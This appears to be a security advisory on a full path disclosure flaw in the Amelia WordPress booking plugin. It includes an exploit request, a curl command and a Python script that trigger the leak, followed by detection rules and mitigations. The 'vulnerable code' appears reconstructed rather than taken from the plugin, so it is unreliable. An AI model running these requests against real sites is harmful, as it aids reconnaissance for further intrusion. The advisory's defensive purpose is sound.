CVE-2025-2578

Executive Summary

CVE-2025-2578 is a Full Path Disclosure vulnerability affecting the Amelia Booking for Appointments and Events Calendar plugin for WordPress, up to and including version 1.2.19. An unauthenticated attacker can exploit the wpAmeliaApiCall function to retrieve the absolute server path of the web application. While this information alone is not directly damaging, it significantly aids in reconnaissance for further attacks, such as Local File Inclusion (LFI) or SQL injection, by revealing the directory structure. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes it a persistent risk for unhardened WordPress installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – affects only the vulnerable component.
• Confidentiality Impact: Low (C:L) – only path disclosure.
• Integrity Impact: None (I:N).
• Availability Impact: None (A:N).

Threat Level: Medium. The vulnerability is trivial to exploit but provides limited direct impact. However, in combination with other flaws (e.g., file inclusion), it can escalate to critical.

Deep Dive & Mechanics

The vulnerability resides in the Amelia plugin’s wpAmeliaApiCall function, which is exposed via WordPress AJAX actions. This function is intended to handle API calls but improperly handles error conditions, specifically when a requested resource or parameter is invalid. Instead of returning a generic error, the function outputs the full server path in the error message (e.g., /var/www/html/wp-content/plugins/ameliabooking/...). This occurs because PHP’s __FILE__ or dirname(__FILE__) is used in error logging or exception handling without sanitization.

The attack is simple: an unauthenticated HTTP request to the WordPress AJAX endpoint with a crafted action parameter triggers the path disclosure. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpAmeliaApiCall&method=nonExistentMethod

The response includes the full path in the error message.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.2.19):

function wpAmeliaApiCall() {
    $method = $_POST['method'];
    // ... some logic ...
    if (!method_exists($this, $method)) {
        // Vulnerable: exposes full path
        echo "Error: Method not found in " . __FILE__;
        die();
    }
}

Patched Code (Hypothetical):

function wpAmeliaApiCall() {
    $method = $_POST['method'];
    // ... some logic ...
    if (!method_exists($this, $method)) {
        // Patched: generic error message
        echo "Error: Invalid method.";
        die();
    }
}

The patch removes the __FILE__ constant from the error output, preventing path disclosure.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Amelia plugin version 1.2.19.
2. Ensure the site is accessible (e.g., http://localhost/wordpress).

Exploitation Steps:

1. Send a crafted POST request to admin-ajax.php:

   curl -X POST http://localhost/wordpress/wp-admin/admin-ajax.php \
        -d "action=wpAmeliaApiCall&method=invalid"
   

2. Observe the response containing the full server path, e.g.:

   Error: Method not found in /var/www/html/wp-content/plugins/ameliabooking/AmeliaBooking.php
   

3. Use this path to map the directory structure for further attacks (e.g., LFI via ../../ traversal).

Automated Script (Python):

import requests

target = "http://localhost/wordpress"
data = {"action": "wpAmeliaApiCall", "method": "invalid"}
r = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=wpAmeliaApiCall and unusual method parameters.
• Look for error responses containing file paths (e.g., /var/www/, /home/, C:\).

Mitigation:

• Apply a Web Application Firewall (WAF) rule to block requests with method parameters that are not in a whitelist.
• Disable PHP error display in wp-config.php:

  define('WP_DEBUG', false);
  @ini_set('display_errors', 0);
  

• Use a security plugin to hide WordPress paths.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=wpAmeliaApiCall and method=* where * is not a valid method.
  • HTTP responses containing strings like Error: Method not found in / or Warning: ... in /var/www/.
• File System:
  • No file-based IOCs; the vulnerability is purely informational.
• Logs:
  • WordPress debug logs showing file paths in error messages.

Detection Engineering

YARA Rule

rule CVE_2025_2578_Amelia_Path_Disclosure {
    meta:
        description = "Detects Amelia plugin path disclosure attempts"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-2578"
    strings:
        $error_path = /Error: Method not found in \/[a-zA-Z0-9_\/.-]+/ nocase
        $ajax_action = "wpAmeliaApiCall"
    condition:
        $ajax_action and $error_path
}

Sigma Rule

title: Amelia Plugin Full Path Disclosure Attempt
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated attempts to exploit CVE-2025-2578 in WordPress Amelia plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-post: 'action=wpAmeliaApiCall'
    condition: selection
falsepositives:
    - Legitimate API calls with valid methods
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2578 Amelia Plugin Path Disclosure Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpAmeliaApiCall"; http_client_body; pcre:"/method=[a-zA-Z0-9]+/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Amelia plugin until a patch is released.
2. Hide PHP errors globally by setting WP_DEBUG to false and display_errors to 0 in wp-config.php.
3. Implement a WAF rule to block requests with suspicious method parameters.

Long-Term Fix:

• The vendor must release a patched version that removes __FILE__ from error messages. Monitor the Amelia plugin page for updates.

Workaround:

• Use a security plugin like Wordfence to block path disclosure attempts.
• Restrict access to admin-ajax.php via .htaccess for non-logged-in users:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  (Note: This may break legitimate AJAX functionality; test thoroughly.)

Valters IT
Securing Digital Frontiers